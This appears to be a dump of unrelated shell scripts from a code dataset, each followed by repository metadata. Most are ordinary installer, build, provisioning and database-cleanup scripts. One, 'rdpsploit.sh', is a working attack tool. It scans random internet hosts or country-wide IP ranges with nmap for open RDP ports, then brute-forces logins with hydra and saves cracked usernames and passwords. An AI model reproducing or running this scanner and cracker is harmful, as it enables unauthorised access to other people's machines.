! [[ "$(grep '^KEYMAP="us"' ${DESTDIR}/etc/vconsole.conf)" ]] && HWPARAMETER="${HWPARAMETER} --keymap"
# check on framebuffer modules and kms
[[ "$(grep "^radeon" /proc/modules)" ]] && FBPARAMETER="--ati-kms"
[[ "$(grep "^i915" /proc/modules )" ]] && FBPARAMETER="--intel-kms"
[[ "$(grep "^nouveau" /proc/modules)" ]] && FBPARAMETER="--nvidia-kms"
if [[ "$(lsmod | grep ^pcmcia)" ]]; then
DIALOG --defaultno --yesno "Setup detected pcmcia hardware...\nDo you need support for booting from pcmcia devices?" 0 0 && HWPARAMETER="${HWPARAMETER} --pcmcia"
fi
if [[ "$(lsmod | grep ^nfs)" ]]; then
DIALOG --defaultno --yesno "Setup detected nfs driver...\nDo you need support for booting from nfs shares?" 0 0 && HWPARAMETER="${HWPARAMETER} --nfs"
fi
if [[ -e ${DESTDIR}/lib/initcpio/hooks/dmraid ]]; then
if ! [[ "$(dmraid -r | grep ^no )" ]]; then
HWPARAMETER="${HWPARAMETER} --dmraid"
fi
fi
offset=$(hexdump -s 526 -n 2 -e '"%0d"' "${DESTDIR}/boot/${VMLINUZ}")
read HWKER _ < <(dd if="${DESTDIR}/boot/${VMLINUZ}" bs=1 count=127 skip=$(( offset + 0x200 )) 2>/dev/null)
HWDETECTMODULES="$(echo $(hwdetect --kernel_directory=${DESTDIR} --kernel_version=${HWKVER} ${FBPARAMETER} --hostcontroller --filesystem ${HWPARAMETER}) | sed -e 's#.*\" ##g')"
HWDETECTHOOKS="$(hwdetect --kernel_directory=${DESTDIR} --kernel_version=${HWKVER} --rootdevice=${PART_ROOT} --hooks-dir=${DESTDIR}/usr/lib/initcpio/install ${FBPARAMETER} ${HWPARAMETER} --hooks)"
[[ -n "${HWDETECTMODULES}" ]] && sed -i -e "s/^MODULES=.*/${HWDETECTMODULES}/g" ${DESTDIR}/etc/mkinitcpio.conf
[[ -n "${HWDETECTHOOKS}" ]] && sed -i -e "s/^HOOKS=.*/${HWDETECTHOOKS}/g" ${DESTDIR}/etc/mkinitcpio.conf
fi
}
auto_parameters() {
if [[ ! -f ${DESTDIR}/etc/vconsole.conf ]]; then
: >${DESTDIR}/etc/vconsole.conf
if [[ -s /tmp/.keymap ]]; then
DIALOG --infobox "Setting the keymap: $(cat /tmp/.keymap | sed -e 's/\..*//g') in vconsole.conf ..." 0 0
echo KEYMAP=$(cat /tmp/.keymap | sed -e 's/\..*//g') >> ${DESTDIR}/etc/vconsole.conf
fi
if [[ -s /tmp/.font ]]; then
DIALOG --infobox "Setting the consolefont: $(cat /tmp/.font | sed -e 's/\..*//g') in vconsole.conf ..." 0 0
echo FONT=$(cat /tmp/.font | sed -e 's/\..*//g') >> ${DESTDIR}/etc/vconsole.conf
fi
fi
}
auto_luks() {
# remove root device from crypttab
if [[ -e /tmp/.crypttab && "$(grep -v '^#' ${DESTDIR}/etc/crypttab)" = "" ]]; then
# add to temp crypttab
sed -i -e "/^$(basename ${PART_ROOT}) /d" /tmp/.crypttab
cat /tmp/.crypttab >> ${DESTDIR}/etc/crypttab
chmod 600 /tmp/passphrase-* 2>/dev/null
cp /tmp/passphrase-* ${DESTDIR}/etc/ 2>/dev/null
fi
}
auto_timesetting() {
if [[ -e /etc/localtime && ! -e ${DESTDIR}/etc/localtime ]]; then
cp -a /etc/localtime ${DESTDIR}/etc/localtime
fi
if [[ ! -f ${DESTDIR}/etc/adjtime ]]; then
echo "0.0 0 0.0" > ${DESTDIR}/etc/adjtime
echo "0" >> ${DESTDIR}/etc/adjtime
[[ -s /tmp/.hardwareclock ]] && cat /tmp/.hardwareclock >>${DESTDIR}/etc/adjtime
fi
}
auto_pacman_mirror() {
# /etc/pacman.d/mirrorlist
# add installer-selected mirror to the top of the mirrorlist
if [[ "${MODE}" = "network" && "${SYNC_URL}" != "" ]]; then
SYNC_URL="${SYNC_URL}"
awk "BEGIN { printf(\"# Mirror used during installation\nServer = "${SYNC_URL}"\n\n\") } 1 " "${DESTDIR}/etc/pacman.d/mirrorlist" > /tmp/inst-mirrorlist
mv /tmp/inst-mirrorlist "${DESTDIR}/etc/pacman.d/mirrorlist"
fi
}
auto_system_files () {
if [[ ! -f ${DESTDIR}/etc/hostname ]]; then
echo "myhostname" > ${DESTDIR}/etc/hostname
fi
if [[ ! -f ${DESTDIR}/etc/locale.conf ]]; then
echo "LANG=en_US.UTF-8" > ${DESTDIR}/etc/locale.conf
echo "LC_COLLATE=C" >> ${DESTDIR}/etc/locale.conf
fi
}
configure_system() {
destdir_mounts || return 1
## PREPROCESSING ##
# only done on first invocation of configure_system and redone on canceled configure system
if [[ ${S_CONFIG} -eq 0 ]]; then
auto_pacman_mirror
auto_network
auto_parameters
auto_system_files
auto_hwdetect
fi
## END PREPROCESS ##
geteditor || return 1
FILE=""
# main menu loop
while true; do
S_CONFIG=0
if [[ -n "${FILE}" ]]; then
DEFAULT="--default-item ${FILE}"
else
DEFAULT=""
fi
DIALOG ${DEFAULT} --menu "Configuration" 21 80 16 \
"/etc/hostname" "System Hostname" \
"/etc/vconsole.conf" "Virtual Console" \
"/etc/locale.conf" "Locale Setting" \
"/etc/fstab" "Filesystem Mountpoints" \
"/etc/mkinitcpio.conf" "Initramfs Config" \
"/etc/modprobe.d/modprobe.conf" "Kernel Modules" \
"/etc/resolv.conf" "DNS Servers" \
"/etc/hosts" "Network Hosts" \
"/etc/locale.gen" "Glibc Locales" \
"/etc/pacman.d/mirrorlist" "Pacman Mirror List" \
"/etc/pacman.conf" "Pacman Config File" \
"Root-Password" "Set the root password" \
"Return" "Return to Main Menu" 2>${ANSWER} || break
FILE="$(cat ${ANSWER})"
if [[ "${FILE}" = "Return" || -z "${FILE}" ]]; then # exit
S_CONFIG=1
break
elif [[ "${FILE}" = "/etc/mkinitcpio.conf" ]]; then # non-file
DIALOG --msgbox "The mkinitcpio.conf file controls which modules will be placed into the initramfs for your system's kernel.\n\n- Non US keymap users should add 'keymap' to HOOKS= array\n- If you install under VMWARE add 'BusLogic' to MODULES= array\n- raid, lvm2, encrypt are not enabled by default\n- 2 or more disk controllers, please specify the correct module\n loading order in MODULES= array \n\nMost of you will not need to change anything in this file." 18 70
HOOK_ERROR=""
${EDITOR} ${DESTDIR}${FILE}
for i in $(cat ${DESTDIR}/etc/mkinitcpio.conf | grep ^HOOKS | sed -e 's/"//g' -e 's/HOOKS=//g'); do
[[ -e ${DESTDIR}/usr/lib/initcpio/install/${i} ]] || HOOK_ERROR=1
done
if [[ "${HOOK_ERROR}" = "1" ]]; then
DIALOG --msgbox "ERROR: Detected error in 'HOOKS=' line, please correct HOOKS= in /etc/mkinitcpio.conf!" 18 70
fi
elif [[ "${FILE}" = "/etc/locale.gen" ]]; then # non-file
# enable glibc locales from locale.conf
for i in $(grep "^LANG" ${DESTDIR}/etc/locale.conf | sed -e 's/.*=//g' -e's/\..*//g'); do
sed -i -e "s/^#${i}/${i}/g" ${DESTDIR}/etc/locale.gen
done
${EDITOR} ${DESTDIR}${FILE}
elif [[ "${FILE}" = "Root-Password" ]]; then # non-file
PASSWORD=""
while [[ "${PASSWORD}" = "" ]]; do
DIALOG --insecure --passwordbox "Enter root password:" 0 0 2>${ANSWER} || return 1
PASS=$(cat ${ANSWER})
DIALOG --insecure --passwordbox "Retype root password:" 0 0 2>${ANSWER} || return 1
PASS2=$(cat ${ANSWER})
if [[ "${PASS}" = "${PASS2}" ]]; then
PASSWORD=${PASS}
echo ${PASSWORD} > /tmp/.password
echo ${PASSWORD} >> /tmp/.password
PASSWORD=/tmp/.password
else
DIALOG --msgbox "Password didn't match, please enter again." 0 0
fi
done
chroot ${DESTDIR} passwd root < /tmp/.password
rm /tmp/.password
else #regular file
${EDITOR} ${DESTDIR}${FILE}
fi
done
if [[ ${S_CONFIG} -eq 1 ]]; then
# only done on normal exit of configure menu
## POSTPROCESSING ##
# adjust time
auto_timesetting
# /etc/initcpio.conf
run_mkinitcpio
# /etc/locale.gen
# enable at least en_US.UTF8 if nothing was changed, else weird things happen on reboot!
! [[ $(grep -q ^[a-z] ${DESTDIR}/etc/locale.gen) ]] && sed -i -e 's:^#en_US.UTF-8:en_US.UTF-8:g' ${DESTDIR}/etc/locale.gen
chroot ${DESTDIR} locale-gen >/dev/null 2>&1
## END POSTPROCESSING ##
NEXTITEM="8"
fi
}
install_bootloader_uefi() {
do_uefi_setup_env_vars
if [[ "${_EFI_MIXED}" == "1" ]]; then
_EFISTUB_MENU_LABEL=""
_EFISTUB_MENU_TEXT=""
else
_EFISTUB_MENU_LABEL="EFISTUB"
_EFISTUB_MENU_TEXT="EFISTUB for ${_UEFI_ARCH} UEFI"
fi
DIALOG --menu "Which ${_UEFI_ARCH} UEFI bootloader would you like to use?" 12 55 5 \
"${_EFISTUB_MENU_LABEL}" "${_EFISTUB_MENU_TEXT}" \
"GRUB_UEFI" "GRUB(2) for ${_UEFI_ARCH} UEFI" \
"SYSLINUX_UEFI" "SYSLINUX for ${_UEFI_ARCH} UEFI" 2>${ANSWER} || CANCEL=1
case $(cat ${ANSWER}) in
"EFISTUB") do_efistub_uefi ;;
"GRUB_UEFI") do_grub_uefi ;;
"SYSLINUX_UEFI") do_syslinux_uefi ;;
esac
}
install_bootloader_bios() {
DIALOG --menu "Which BIOS bootloader would you like to use?" 11 50 4 \
"SYSLINUX_BIOS" "SYSLINUX BIOS" \
"GRUB_BIOS" "GRUB(2) BIOS" 2>${ANSWER} || CANCEL=1
case $(cat ${ANSWER}) in
"SYSLINUX_BIOS") do_syslinux_bios ;;
"GRUB_BIOS") do_grub_bios ;;
esac
}
install_bootloader() {
destdir_mounts || return 1
if [[ "${NAME_SCHEME_PARAMETER_RUN}" == "" ]]; then
set_device_name_scheme || return 1
fi
source_set || return 1
pacman_conf
prepare_pacman
CANCEL=""
detect_uefi_boot
_ANOTHER="1"
if [[ "${_DETECTED_UEFI_BOOT}" == "1" ]]; then
do_uefi_setup_env_vars
DIALOG --yesno "Setup has detected that you are using ${_UEFI_ARCH} UEFI ...\nDo you like to install a ${_UEFI_ARCH} UEFI bootloader?" 0 0 && install_bootloader_uefi
_ANOTHER="0"
DIALOG --defaultno --yesno "Do you want to install another bootloader?" 0 0 && _ANOTHER="1"
fi
while [[ "${_ANOTHER}" == "1" ]]; do
install_bootloader_menu
_ANOTHER="0"
DIALOG --defaultno --yesno "Do you want to install another bootloader?" 0 0 && _ANOTHER="1"
done
}
install_bootloader_menu() {
DIALOG --menu "What is your boot system type?" 10 40 2 \
"BIOS" "BIOS" \
"UEFI" "UEFI" 2>${ANSWER} || CANCEL=1
case $(cat ${ANSWER}) in
"BIOS") install_bootloader_bios ;;
"UEFI") install_bootloader_uefi ;;
esac
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="8"
else
NEXTITEM="9"
fi
}
mainmenu() {
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
dialog ${DEFAULT} --backtitle "${TITLE}" --title " MAIN MENU " \
--menu "Use the UP and DOWN arrows to navigate menus.\nUse TAB to switch between buttons and ENTER to select." 18 58 14 \
"0" "Set Keyboard And Console Font" \
"1" "Set up Network" \
"2" "Set Time And Date" \
"3" "Prepare Storage Drive" \
"4" "Select Source" \
"5" "Select Packages" \
"6" "Install Packages" \
"7" "Configure System" \
"8" "Install Bootloader" \
"9" "Exit Install" 2>${ANSWER}
NEXTITEM="$(cat ${ANSWER})"
case $(cat ${ANSWER}) in
"0")
set_keyboard ;;
"1")
donetwork ;;
"2")
set_clock ;;
"3")
prepare_storagedrive ;;
"4")
select_source ;;
"5")
select_packages ;;
"6")
install_packages ;;
"7")
configure_system ;;
"8")
install_bootloader ;;
"9")
if [[ "${S_SRC}" = "1" && "${MODE}" = "media" ]]; then
umount "${_MEDIA}" >/dev/null 2>&1
fi
[[ -e /tmp/.setup-running ]] && rm /tmp/.setup-running
clear
echo ""
echo "If the install finished successfully, you can now type 'reboot'"
echo "to restart the system."
echo ""
exit 0 ;;
*)
DIALOG --yesno "Abort Installation?" 6 40 && [[ -e /tmp/.setup-running ]] && rm /tmp/.setup-running && clear && exit 0
;;
esac
}
#####################
## begin execution ##
if [[ -e /tmp/.setup-running ]]; then
echo "HINT:"
echo "setup already runs on a different console!"
echo "Please remove /tmp/.setup-running first to launch setup!"
exit 1
fi
: >/tmp/.setup-running
: >/tmp/.setup
DIALOG --msgbox "Welcome to the Arch Linux Installation program.\n\nThe install process is fairly straightforward, and you should run through the options in the order they are presented.\n\nIf you are unfamiliar with partitioning/making filesystems, you may want to consult some documentation before continuing.\n\nYou can view all output from commands by viewing your VC7 console (ALT-F7). ALT-F1 will bring you back here." 14 65
while true; do
mainmenu
done
clear
exit 0
# vim: set ts=4 sw=4 et:
| true
|
1449dac6be273d0175c01126834d140288c6a7c5
|
Shell
|
osenlin/gsxt_spider
|
/start_offline_searchlist_process.sh
|
UTF-8
| 362
| 2.953125
| 3
|
[] |
no_license
|
#!/usr/bin/env bash
while true
do
#
python_pid=`ps aux |grep start_offline_crawler.py |grep python | grep -w offline_gsxt_searchlist.conf | grep -w offline_all_list | awk '{print $2;}'`
if [ "$python_pid" == '' ]; then
nohup python start_offline_crawler.py 'config/offline_gsxt_searchlist.conf' 'offline_all_list' 'all' > /dev/null 2>&1 &
fi
sleep 10
done
| true
|
07d90bec6c6ac236039ddc249d2c66e95c8a28a9
|
Shell
|
OneboxTM/puppet-openvpn
|
/vagrant/provision_module.sh
|
UTF-8
| 275
| 2.765625
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/bash
set -e
if [ ! -f /module-installed ]; then
apt-get update
apt-get install -y ruby-dev git
gem install librarian-puppet --no-rdoc --no-ri
cp /vagrant/vagrant/Puppetfile /tmp
cd /tmp && librarian-puppet install --verbose
touch /module-installed
fi
| true
|
a2588ad90e22854b22c143ed86daadfe61df9c45
|
Shell
|
DavidMcAfeeGraphite/Pop-1.0
|
/build_pop_xcode/build/Pop.build/Release ARM/Pop.build/Script-shell_script_object5.sh
|
UTF-8
| 1,036
| 2.65625
| 3
|
[] |
no_license
|
#!/bin/bash
set -e
if [ "$CONFIGURATION" = "Release" -o "$CONFIGURATION" = "Release ARM" ]; then echo "skipping for release builds" && exit 0; fi
if [ "$CONFIGURATION" = "Debug" -o "$CONFIGURATION" = "Release" ]; then echo "skipping for x86 builds" && exit 0; fi
PATH="/Applications/Marmalade.app/Contents/tools/gcc/x86/android_osx/bin":$PATH
PATH="/Applications/Marmalade.app/Contents/s3e/bin":$PATH
PATH="/Applications/Marmalade.app/Contents/s3e/clang/darwin/bin":$PATH
PATH="/Applications/Marmalade.app/Contents/s3e/gcc/darwin/bin":$PATH
PATH="/Applications/Xcode.app/Contents/Developer/usr/bin":$PATH
PATH="/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin":$PATH
PATH="/opt/local/bin":$PATH
s3e_plink -o "/Users/David/Downloads/Pop/build_pop_xcode/build/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}/Pop.s3e" --arch=armv6 --compiler=clang -u -d --usemap="/Users/David/Downloads/Pop/build_pop_xcode/build/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}/Pop.map" "${TARGET_BUILD_DIR}/${EXECUTABLE_NAME}"
| true
|
fc2427d489c9c4fd94b47d480208cb834f2444c3
|
Shell
|
NamChimwiset/Linux-RDP-1
|
/rdpsploit.sh
|
UTF-8
| 11,906
| 3.828125
| 4
|
[] |
no_license
|
#!/bin/bash
# RDP Finder & Bruter Script
#
# Requires NMAP & HYDRA (w/RDP Support)
#Start the magic....
JUNK=/tmp
SCANCOUNT="$2"
STORAGE1=$(mktemp -p "$JUNK" -t fooooobar1.tmp.XXX)
STORAGE2=$(mktemp -p "$JUNK" -t fooooobar2.tmp.XXX)
#First a simple Bashtrap function to handle interupt (CTRL+C)
trap bashtrap INT
function bashtrap(){
echo
echo
echo 'CTRL+C has been detected!.....shutting down now' | grep --color '.....shutting down now'
#exit entire script if called
rm -f "$STORAGE1" 2> /dev/null
rm -f "$STORAGE2" 2> /dev/null
exit;
}
#End bashtrap()
function usage(){
echo
echo "HR's RDP Finder" | grep --color -E 'HR||s RDP Finder'
echo
echo "USAGE: $0 <ARG> <OPTION>" | grep --color 'USAGE'
echo "-G"
echo " [*] Genrate IP Range lists based on Country"
echo "-F <#>"
echo " [*] NMAP Scan of <#> random hosts checking for Enabled RDP Port"
echo "-R <IP-RANGE>"
echo " [*] NMAP Scan of <IP-RANGE> checking for Enabled RDP Port"
echo "-L </path/to/ip.lst>"
echo " [*] NMAP Scan using provided IP list (one per line) to check for Enabled RDP Port"
echo "-C"
echo " [*] Cracker Script with easy to follow prompts"
echo "-c"
echo " [*] Cracker Script with Username, IP and Password lists provided"
echo " [*] Requires -I/i, -U/u, and -P/p flags (ORDER SPECIFIC => I=>U=>P):"
echo " -U <USERNAME>"
echo " -u </path/to/users.lst>"
echo " -P </path/to/password.lst>"
echo " -p <password>"
echo " -I </path/to/ip.lst>"
echo " -i <IP>"
echo
echo "EX: $0 -G" | grep --color 'EX'
echo "EX: $0 -C" | grep --color 'EX'
echo "EX: $0 -F 1000" | grep --color 'EX'
echo "EX: $0 -R 192.168.0.0-192.168.3.255" | grep --color 'EX'
echo "EX: $0 -L /home/hood3drob1n/Desktop/ip.lst" | grep --color 'EX'
echo "EX: $0 -c -I /path/to/ip.lst -U Administrator -P /path/to/password.lst" | grep --color 'EX'
echo "EX: $0 -c -I /path/to/ip.lst -u /path/to/users.lst -P /path/to/password.lst" | grep --color 'EX'
echo "EX: $0 -c -I /path/to/ip.lst -u /path/to/users.lst -p \"P@ssw0rd1\"" | grep --color 'EX'
echo "EX: $0 -c -i 192.168.2.51 -U Administrator -P /path/to/password.lst" | grep --color 'EX'
echo "EX: $0 -c -i 192.168.2.51 -u /path/to/users.lst -P /path/to/password.lst" | grep --color 'EX'
echo
exit;
}
#End usage()
function generate_ip_range(){
if [ ! -d range_lists ]; then
mkdir range_lists
fi
echo "Please select which country to grab IP ranges for from the list below: " | grep --color 'Please select which country to grab IP ranges for from the list below'
# Grab actual list of Countries and use to present options menu to user:
curl http://services.ce3c.be/ciprg/ -s | grep "href='?countrys=" | sed -e "s/<td><font size='2'><a href='?countrys=/'/g" -e 's/<\/tr><tr>//g' -e 's/<table><tr>//g' | while read line; do awk -F"'" '{ print $2 }' | sed '/^$/d' >> "$STORAGE1"; done;
select COUNTRY in $(cat "$STORAGE1")
do
echo "OK, grabbing IP range for $COUNTRY...." | grep --color -E 'OK||grabbing IP range for';
break
done
curl http://services.ce3c.be/ciprg/?countrys=$COUNTRY -s > "$STORAGE2";
echo
echo "IP Ranges for: $COUNTRY" | grep --color 'IP Ranges for'
echo
cat "$STORAGE2" | sort | uniq | awk -F":" '{ print $2 }' | while read line
do
firstOctStart=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $1 }')
firstOctEnd=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $5 }')
secondOctStart=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $2 }')
secondOctEnd=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $6 }')
thirdOctStart=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $3 }')
thirdOctEnd=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $7 }')
fourthOctStart=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $4 }')
fourthOctEnd=$(echo "$line" | sed -e 's/\-/./g' | awk -F"." '{ print $8 }')
if [ "$firstOctStart" == "$firstOctEnd" ]; then
IP1="$firstOctStart"
else
IP1="$firstOctStart-$firstOctEnd"
fi
if [ "$secondOctStart" == "$secondOctEnd" ]; then
IP2="$secondOctStart"
else
IP2="$secondOctStart-$secondOctEnd"
fi
if [ "$thirdOctStart" == "$thirdOctEnd" ]; then
IP3="$thirdOctStart"
else
IP3="$thirdOctStart-$thirdOctEnd"
fi
if [ "$fourthOctStart" == "$fourthOctEnd" ]; then
IP4="$fourthOctStart"
else
IP4="$fourthOctStart-$fourthOctEnd"
fi
echo "$IP1.$IP2.$IP3.$IP4" >> range_lists/`echo $COUNTRY`_IP_ranges.lst
done
cat range_lists/`echo $COUNTRY`_IP_ranges.lst
echo
echo "Do you want to continue generating Country IP Lists? (y/n)" | grep --color -E 'Do you want to continue generating Country IP Lists||y||n'
read continueAnswer
echo
if [ "$continueAnswer" == 'y' ] || [ "$continueAnswer" == 'Y' ]; then
echo '' > "$STORAGE1"
echo '' > "$STORAGE2"
IP1=""
IP2=""
IP3=""
IP4=""
clear
generate_ip_range
else
clear
usage
fi
}
function rdp_find(){
if [ ! -d rdp_enabled ]; then
mkdir rdp_enabled
fi
TRACKER=0
if [ -e rdp_enabled/rdp-ip.lst ]; then
EXISTING=$(wc -l rdp_enabled/rdp-ip.lst | cut -d' ' -f1)
cat rdp_enabled/rdp-ip.lst > "$STORAGE1" 2> /dev/null
TRACKER=1
fi
echo "Please hang tight, this might take a few...." | grep --color -E 'Please hang tight||this might take a few'
echo '...'
if [ "$METH" == 3 ]; then
nmap -iL "$SCANCOUNT" -T5 -PN -p 3389 -oG "$STORAGE2" > /dev/null && grep '/open/' "$STORAGE2" |cut -d' ' -f2,4 | sed -e 's/\/open\/tcp\/\/ms-term-serv\/\/\///g' | awk '{ print $1 }' >> "$STORAGE1"
elif [ "$METH" == 2 ]; then
nmap "$SCANCOUNT" -T5 -PN -p 3389 -oG "$STORAGE2" > /dev/null && grep '/open/' "$STORAGE2" |cut -d' ' -f2,4 | sed -e 's/\/open\/tcp\/\/ms-term-serv\/\/\///g' | awk '{ print $1 }' >> "$STORAGE1"
else
nmap -iR "$SCANCOUNT" -T5 -PN -p 3389 -oG "$STORAGE2" > /dev/null && grep '/open/' "$STORAGE2" |cut -d' ' -f2,4 | sed -e 's/\/open\/tcp\/\/ms-term-serv\/\/\///g' | awk '{ print $1 }' >> "$STORAGE1"
fi
cat "$STORAGE1" | sort | uniq > rdp_enabled/rdp-ip.lst 2> /dev/null
if [ "$TRACKER" == 1 ]; then
UPDATED=$(wc -l "$STORAGE1" | cut -d' ' -f1)
FOUNDED=$(($UPDATED-$EXISTING))
echo
echo "Total in List: $UPDATED" | grep --color 'Total in List'
echo "Just Found: $FOUNDED" | grep --color 'Just Found'
echo
cat rdp_enabled/rdp-ip.lst
else
FOUNDED=$(wc -l rdp_enabled/rdp-ip.lst | cut -d' ' -f1)
echo
echo "Just Found: $FOUNDED" | grep --color 'Just Found'
echo
cat rdp_enabled/rdp-ip.lst
fi
echo
echo "What now?" | grep --color 'What now'
select continue_options in "Awaken the Crackin" "Scan Random Hosts" "Exit"
do
case $continue_options in
"Awaken the Crackin")
clear
METH=n00ber
rdp_cracker
;;
"Scan Random Hosts")
echo
echo "How many random hosts to scan now?" | grep --color 'How many random hosts to scan now'
read SCANCOUNT
echo
METH=1
clear
rdp_find
;;
Exit)
echo
echo "All done here, hope you found enough open ports....." | grep --color -E 'All done here||hope you found enough open ports'
echo
exit
;;
*)
echo
;;
esac
done
}
#End rdp_find()
function rdp_cracker(){
if [ ! -d rdp_results ]; then
mkdir rdp_results
fi
if [ "$METH" == n00ber ]; then
echo
echo "Before we awaken the crackin we must get some info..." | grep --color 'Before we awaken the crackin we must get some info'
echo "Checking for default rdp_enabled/rdp-ip.lst file...." | grep --color -E 'Checking for default rdp||enabled||rdp||ip||lst file'
if [ ! -e rdp_enabled/rdp-ip.lst ]; then
echo '...'
echo "Can't find rdp-ip.lst file! Please provide path to ip list to use: " | grep --color -E 'Can||t find rdp||ip||lst file||Please provide path to ip list to use'
read IPLIST
ghi="-M $IPLIST"
echo
else
echo '...'
echo '......found!' | grep 'found'
IPLIST=rdp_enabled/rdp-ip.lst
ghi="-M $IPLIST"
echo
fi
echo "Please provide username to attack: " | grep --color 'Please provide username to attack'
read RDPNAME
abc="-l $RDPNAME"
echo
echo "Please provide path to password list to use for cracking: " | grep --color 'Please provide path to password list to use for cracking'
read PASSLIST
if [ ! -r "$PASSLIST" ]; then
echo
echo "Can't read provided password list! Please check path or permissions and try again...." | grep --color -E 'Can||t read provided password list||Please check path or permissions and try again'
echo
cracker
fi
def="-P $PASSLIST"
if [ -e rdp_results/rdp.results ]; then
mv rdp_results/rdp.results "rdp_results/rdp.results_`date +%Y%m%d%H`.bk"
fi
fi
echo
echo "OK, now let us awaken the crackin....." | grep --color -E 'OK||now let us awaken the crackin'
echo "Hang tight, this will take a few...." | grep --color -E 'Hang tight||this will take a few'
hydra -v $abc $def $ghi rdp -e ns -t 10 -W 3 -f -o "$STORAGE1" 2> /dev/null
echo
echo "Results:" | grep --color 'Results'
cat "$STORAGE1" | while read line
do
echo $line | awk -F"3389" '{ print $2 }' | sed -e 's/\]\[rdp\] //g' | grep --color -E 'host||login||password'
echo $line | awk -F"3389" '{ print $2 }' | sed -e 's/\]\[rdp\] //g' >> rdp_results/rdp.results
done
echo
echo "The crackin has gone to rest, check the rdp.results file for the full details...." | grep --color -E 'The crackin has gone to rest||check the rdp||results file for the full details'
}
#MAIN-----------------------------------------------------
clear
#Check to ensure arguments passed or provide usage info for dummies
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
usage
fi
if [ -e hydra.restore ]; then
rm -f hydra.restore 2> /dev/null
fi
while getopts ":F:R:L:c:G,C" usage_options;
do
case $usage_options in
F)
METH=1
rdp_find
;;
R)
METH=2
rdp_find
;;
L)
if [ ! -r "$SCANCOUNT" ]; then
echo
echo "Can't read provided IP list file! Check path or permissions and re-try....." | grep --color -E 'Can||t read provided IP list file||Check path or permissions and re||try'
echo
exit;
else
METH=3
rdp_find
fi
;;
C)
METH=n00ber
rdp_cracker
;;
c)
METH=advanced
if [ $# -lt 7 ]; then
echo
echo "This option requires -U/u, -P/p and -I/i options to work, please review usage and re-run script...." | grep --color -E 'This option requires||U||u||P||p and||I||i options to work||please review usage and re||run script'
echo
usage
fi
if [ "$2" == "-I" ]; then
IPLIST="$3"
if [ ! -r "$IPLIST" ]; then
echo
echo "Can't read provided IP list! Please check path or permissions and try again...." | grep --color -E 'Can||t read provided IP list||Please check path or permissions and try again'
echo
usage
fi
ghi="-M $IPLIST"
elif [ "$2" == "-i" ]; then
IPLIST="$3"
ghi="$IPLIST"
fi
if [ "$4" == "-U" ]; then
RDPNAME="$5"
abc="-l $RDPNAME"
elif [ "$4" == "-u" ]; then
RDPNAME="$5"
abc="-L $RDPNAME"
fi
if [ "$6" == "-P" ]; then
PASSLIST="$7"
if [ ! -r "$PASSLIST" ]; then
echo
echo "Can't read provided password list! Please check path or permissions and try again...." | grep --color -E 'Can||t read provided password list||Please check path or permissions and try again'
echo
fi
def="-P $PASSLIST"
elif [ "$6" == "-p" ]; then
PASSLIST="$7"
def="-p $PASSLIST"
fi
if [ -e rdp_results/rdp.results ]; then
mv rdp_results/rdp.results "rdp_results/rdp.results_`date +%Y%m%d%H`.bk"
fi
rdp_cracker
;;
G)
echo
generate_ip_range
;;
*)
usage
;;
esac
done
echo
echo
echo "All done here, hope you found what you were looking for....." | grep --color -E 'All done here||hope you found what you were looking for'
echo
echo "Until next time, Enjoy!" | grep --color -E 'Until next time||Enjoy'
echo
rm -f "$STORAGE1" 2> /dev/null
rm -f "$STORAGE2" 2> /dev/null
#EOF
| true
|
a79d5e0544d5fb4353b68530b6ab0299e9b3ca2d
|
Shell
|
darklang/dark
|
/scripts/clear-db.sh
|
UTF-8
| 1,172
| 3.03125
| 3
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
#!/usr/bin/env bash
. ./scripts/devcontainer/_assert-in-container "$0" "$@"
set -euo pipefail
# Clear DBs
DBLOG="${DARK_CONFIG_RUNDIR}/clear-db.log"
echo "Clearing old DB data (logs in ${DBLOG})"
DB="${DARK_CONFIG_DB_DBNAME}"
function run_sql { psql -d "$DB" -c "$@" >> "$DBLOG" ; }
function fetch_sql { psql -d "$DB" -t -c "$@"; }
CANVASES=$(fetch_sql "SELECT id FROM canvases WHERE substring(name, 0, 6)
= 'test-';")
SCRIPT=""
for cid in $CANVASES; do
SCRIPT+="DELETE FROM scheduling_rules_v0 WHERE canvas_id = '$cid';";
SCRIPT+="DELETE FROM traces_v0 WHERE canvas_id = '$cid';";
SCRIPT+="DELETE FROM user_data_v0 WHERE canvas_id = '$cid';";
SCRIPT+="DELETE FROM cron_records_v0 WHERE canvas_id = '$cid';";
SCRIPT+="DELETE FROM toplevels_v0 WHERE canvas_id = '$cid';";
SCRIPT+="DELETE FROM canvases_v0 WHERE id = '$cid';";
SCRIPT+="DELETE FROM secrets_v0 WHERE canvas_id = '$cid';";
done
SCRIPT+="DELETE FROM package_functions_v0 WHERE author_id IN (SELECT id FROM accounts_v0
WHERE username = 'test_admin');";
SCRIPT+="DELETE FROM package_types_v0 WHERE author_id IN (SELECT id FROM accounts_v0
WHERE username = 'test_admin');";
run_sql "$SCRIPT";
| true
|
245f7dac8967468fd3ac33ed45e80e92cb6cce01
|
Shell
|
pieterlukasse/rest_api
|
/.circleci/clean_appeng_versions_with_no_traffic.sh
|
UTF-8
| 605
| 3.109375
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/usr/bin/env bash
echo ... will remove all STOPPED AppEngine versions older than 5 days
gcloud --project=$GOOGLE_PROJECT_ID app versions list \
--format json \
--filter="traffic_split<1" |\
jq -r '.[] | .id' |\
while read id
do
echo "Attempting to delete: $id in project $PROJECT"
# TODO: to fix.. unless you send deletes as a background process,
# gcloud interrupts execution after the first succesful deletion (crazy!)
